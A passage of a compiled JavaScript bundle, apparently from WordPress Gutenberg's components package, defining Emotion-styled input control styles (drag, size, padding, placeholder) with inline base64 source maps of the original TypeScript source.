G9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */");
24617 }
24618 return /* @__PURE__ */ css(defaultArrowStyles, " ", activeDragCursorStyles, ";" + (false ? "" : ";label:dragStyles;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrUVciLCJmaWxlIjoiaW5wdXQtY29udHJvbC1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHR5cGUgeyBDU1NQcm9wZXJ0aWVzLCBSZWFjdE5vZGUgfSBmcm9tICdyZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IEZsZXgsIEZsZXhJdGVtIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHR5cGUgeyBMYWJlbFBvc2l0aW9uLCBTaXplLCBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbnR5cGUgQ29udGFpbmVyUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aGlkZUxhYmVsPzogYm9vbGVhbjtcblx0X191bnN0YWJsZUlucHV0V2lkdGg/OiBDU1NQcm9wZXJ0aWVzWyAnd2lkdGgnIF07XG5cdGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uO1xufTtcblxuZXhwb3J0IGNvbnN0IFByZWZpeCA9IHN0eWxlZC5zcGFuYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBTdWZmaXggPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YWxpZ24tc2VsZjogc3RyZXRjaDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbnR5cGUgQmFja2Ryb3BQcm9wcyA9IHtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpc0JvcmRlcmxlc3M/OiBib29sZWFuO1xufTtcblxuY29uc3QgYmFja2Ryb3BCb3JkZXJDb2xvciA9ICgge1xuXHRkaXNhYmxlZCxcblx0aXNCb3JkZXJsZXNzLFxufTogQmFja2Ryb3BQcm9wcyApOiBDU1NQcm9wZXJ0aWVzWyAnYm9yZGVyQ29sb3InIF0gPT4ge1xuXHRpZiAoIGlzQm9yZGVybGVzcyApIHtcblx0XHRyZXR1cm4gJ3RyYW5zcGFyZW50Jztcblx0fVxuXG5cdGlmICggZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuIENPTE9SUy51aS5ib3JkZXJEaXNhYmxlZDtcblx0fVxuXG5cdHJldHVybiBDT0xPUlMudWkuYm9yZGVyO1xufTtcblxuZXhwb3J0IGNvbnN0IEJhY2tkcm9wVUkgPSBzdHlsZWQuZGl2PCBCYWNrZHJvcFByb3BzID5gXG5cdCYmJiB7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXItY29sb3I6ICR7IGJhY2tkcm9wQm9yZGVyQ29sb3IgfTtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJvcmRlci1zdHlsZTogc29saWQ7XG5cdFx0Ym9yZGVyLXdpZHRoOiAxcHg7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGxlZnQ6IDA7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHRvcDogMDtcblxuXHRcdCR7IHJ0bCggeyBwYWRkaW5nTGVmdDogMiB9ICkgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZCggRmxleCApYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRwYWRkaW5nLXRvcDogMDtcblxuXHQvLyBGb2N1cyB3aXRoaW4sIGV4Y2x1ZGluZyBjYXNlcyB3aGVyZSBhdXhpbGlhcnkgY29udHJvbHMgaW4gcHJlZml4IG9yIHN1ZmZpeCBoYXZlIGZvY3VzLlxuXHQmOmZvY3VzLXdpdGhpbjpub3QoIDpoYXMoIDppcyggJHsgUHJlZml4IH0sICR7IFN1ZmZpeCB9ICk6Zm9jdXMtd2l0aGluICkgKSB7XG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRib3gtc2hhZG93OiAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5cdFx0XHQvLyBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSB3aWxsIHNob3cgdGhpcyBvdXRsaW5lLCBidXQgbm90IHRoZSBib3gtc2hhZG93LlxuXHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IC0ycHg7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBjb250YWluZXJEaXNhYmxlZFN0eWxlcyA9ICggeyBkaXNhYmxlZCB9OiBDb250YWluZXJQcm9wcyApID0+IHtcblx0Y29uc3QgYmFja2dyb3VuZENvbG9yID0gZGlzYWJsZWRcblx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHQ6IENPTE9SUy51aS5iYWNrZ3JvdW5kO1xuXG5cdHJldHVybiBjc3MoIHsgYmFja2dyb3VuZENvbG9yIH0gKTtcbn07XG5cbmNvbnN0IGNvbnRhaW5lcldpZHRoU3R5bGVzID0gKCB7XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoLFxuXHRsYWJlbFBvc2l0aW9uLFxufTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGlmICggISBfX3Vuc3RhYmxlSW5wdXRXaWR0aCApIHtcblx0XHRyZXR1cm4gY3NzKCB7IHdpZHRoOiAnMTAwJScgfSApO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnc2lkZScgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnZWRnZScgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmxleDogYDAgMCAkeyBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9YCxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7IHdpZHRoOiBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgQ29udGFpbmVyID0gc3R5bGVkLmRpdjwgQ29udGFpbmVyUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleDogMTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCR7IGNvbnRhaW5lckRpc2FibGVkU3R5bGVzIH1cblx0JHsgY29udGFpbmVyV2lkdGhTdHlsZXMgfVxuYDtcblxudHlwZSBJbnB1dFByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU/OiBib29sZWFuO1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGlucHV0U2l6ZT86IFNpemU7XG5cdGlzRHJhZ2dpbmc/OiBib29sZWFuO1xuXHRkcmFnQ3Vyc29yPzogQ1NTUHJvcGVydGllc1sgJ2N1cnNvcicgXTtcblx0cGFkZGluZ0lubGluZVN0YXJ0PzogQ1NTUHJvcGVydGllc1sgJ3BhZGRpbmdJbmxpbmVTdGFydCcgXTtcblx0cGFkZGluZ0lubGluZUVuZD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lRW5kJyBdO1xufTtcblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogSW5wdXRQcm9wcyApID0+IHtcblx0aWYgKCAhIGRpc2FibGVkICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogQ09MT1JTLnVpLnRleHREaXNhYmxlZCxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IGZvbnRTaXplU3R5bGVzID0gKCB7IGlucHV0U2l6ZTogc2l6ZSB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMTNweCcsXG5cdFx0c21hbGw6ICcxMXB4Jyxcblx0XHRjb21wYWN0OiAnMTNweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMTNweCcsXG5cdH07XG5cblx0Y29uc3QgZm9udFNpemUgPSBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcblx0Y29uc3QgZm9udFNpemVNb2JpbGUgPSAnMTZweCc7XG5cblx0aWYgKCAhIGZvbnRTaXplICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250U2l6ZU1vYmlsZSB9O1xuXG5cdFx0QG1lZGlhICggbWluLXdpZHRoOiA2MDBweCApIHtcblx0XHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemUgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0U2l6ZUNvbmZpZyA9ICgge1xuXHRpbnB1dFNpemU6IHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdC8vIFBhZGRpbmdzIG1heSBiZSBvdmVycmlkZGVuIGJ5IHRoZSBjdXN0b20gcGFkZGluZ3MgcHJvcHMuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAyNCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzoge1xuXHRcdFx0aGVpZ2h0OiA0MCxcblx0XHRcdGxpbmVIZWlnaHQ6IDEsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ0xlZnQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIGFzIFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICggcHJvcHM6IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIGdldFNpemVDb25maWcoIHByb3BzICkgKTtcbn07XG5cbmNvbnN0IGN1c3RvbVBhZGRpbmdzID0gKCB7XG5cdHBhZGRpbmdJbmxpbmVTdGFydCxcblx0cGFkZGluZ0lubGluZUVuZCxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHsgcGFkZGluZ0lubGluZVN0YXJ0LCBwYWRkaW5nSW5saW5lRW5kIH0gKTtcbn07XG5cbmNvbnN0IGRyYWdTdHlsZXMgPSAoIHsgaXNEcmFnZ2luZywgZHJhZ0N1cnNvciB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRsZXQgZGVmYXVsdEFycm93U3R5bGVzOiBTZXJpYWxpemVkU3R5bGVzIHwgdW5kZWZpbmVkO1xuXHRsZXQgYWN0aXZlRHJhZ0N1cnNvclN0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblxuXHRpZiAoIGlzRHJhZ2dpbmcgKSB7XG5cdFx0ZGVmYXVsdEFycm93U3R5bGVzID0gY3NzYFxuXHRcdFx0Y3Vyc29yOiAkeyBkcmFnQ3Vyc29yIH07XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblxuXHRcdFx0Jjo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRcdCY6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xuXHRcdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0YDtcblx0fVxuXG5cdGlmICggaXNEcmFnZ2luZyAmJiBkcmFnQ3Vyc29yICkge1xuXHRcdGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgPSBjc3NgXG5cdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGRlZmF1bHRBcnJvd1N0eWxlcyB9XG5cdFx0JHsgYWN0aXZlRHJhZ0N1cnNvclN0eWxlcyB9XG5cdGA7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZC5pbnB1dDwgSW5wdXRQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRtYXJnaW46IDA7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblxuXHRcdCR7IGRyYWdTdHlsZXMgfVxuXHRcdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9XG5cdFx0JHsgc2l6ZVN0eWxlcyB9XG5cdFx0JHsgY3VzdG9tUGFkZGluZ3MgfVxuXG5cdFx0Jjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCZbdHlwZT0nZW1haWwnXSxcblx0XHQmW3R5cGU9J3VybCddIHtcblx0XHRcdC8qIHJ0bDppZ25vcmUgKi9cblx0XHRcdGRpcmVjdGlvbjogbHRyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgQmFzZUxhYmVsID0gc3R5bGVkKCBUZXh0ICk8IHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb24gfSA+YFxuXHQmJiYge1xuXHRcdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0cGFkZGluZy1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdHotaW5kZXg6IDE7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBMYWJlbCA9IChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPFxuXHRcdHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb247IGNoaWxkcmVuOiBSZWFjdE5vZGUgfSxcblx0XHQnbGFiZWwnLFxuXHRcdGZhbHNlXG5cdD5cbikgPT4gPEJhc2VMYWJlbCB7IC4uLnByb3BzIH0gYXM9XCJsYWJlbFwiIC8+O1xuXG5leHBvcnQgY29uc3QgTGFiZWxXcmFwcGVyID0gc3R5bGVkKCBGbGV4SXRlbSApYFxuXHRtYXgtd2lkdGg6IGNhbGMoIDEwMCUgLSAxMHB4ICk7XG5gO1xuXG5jb25zdCBwcmVmaXhTdWZmaXhXcmFwcGVyU3R5bGVzID0gKCB7XG5cdHZhcmlhbnQgPSAnZGVmYXVsdCcsXG5cdHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0aXNQcmVmaXgsXG59OiBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgJiB7IGlzUHJlZml4PzogYm9vbGVhbiB9ICkgPT4ge1xuXHRjb25zdCB7IHBhZGRpbmdMZWZ0OiBwYWRkaW5nIH0gPSBnZXRTaXplQ29uZmlnKCB7XG5cdFx0aW5wdXRTaXplOiBzaXplLFxuXHRcdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0fSApO1xuXG5cdGNvbnN0IHBhZGRpbmdQcm9wZXJ0eSA9IGlzUHJlZml4XG5cdFx0PyAncGFkZGluZ0lubGluZVN0YXJ0J1xuXHRcdDogJ3BhZGRpbmdJbmxpbmVFbmQnO1xuXG5cdGlmICggdmFyaWFudCA9PT0gJ2RlZmF1bHQnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcsXG5cdFx0fSApO1xuXHR9XG5cblx0Ly8gSWYgdmFyaWFudCBpcyAnaWNvbicgb3IgJ2NvbnRyb2wnXG5cdHJldHVybiBjc3MoIHtcblx0XHRkaXNwbGF5OiAnZmxleCcsXG5cdFx0WyBwYWRkaW5nUHJvcGVydHkgXTogcGFkZGluZyAtIDQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXhTdWZmaXhXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0JHsgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyB9XG5gO1xuIl19 */");
24619 };
24620 var Input = /* @__PURE__ */ createStyled("input", false ? {
24621 target: "em5sgkm3"
24622 } : {
24623 target: "em5sgkm3",
24624 label: "Input"
24625 })("&&&{background-color:transparent;box-sizing:border-box;border:none;box-shadow:none!important;color:", COLORS.theme.foreground, ";display:block;font-family:inherit;margin:0;outline:none;width:100%;", dragStyles, " ", disabledStyles, " ", fontSizeStyles, " ", sizeStyles, " ", customPaddings, " &::-webkit-input-placeholder{color:", COLORS.ui.darkGrayPlaceholder, ";}&::-moz-placeholder{color:", COLORS.ui.darkGrayPlaceholder, ";}&:-ms-input-placeholder{color:", COLORS.ui.darkGrayPlaceholder, ";}&[type='email'],&[type='url']{direction:ltr;}}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyUStDIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdG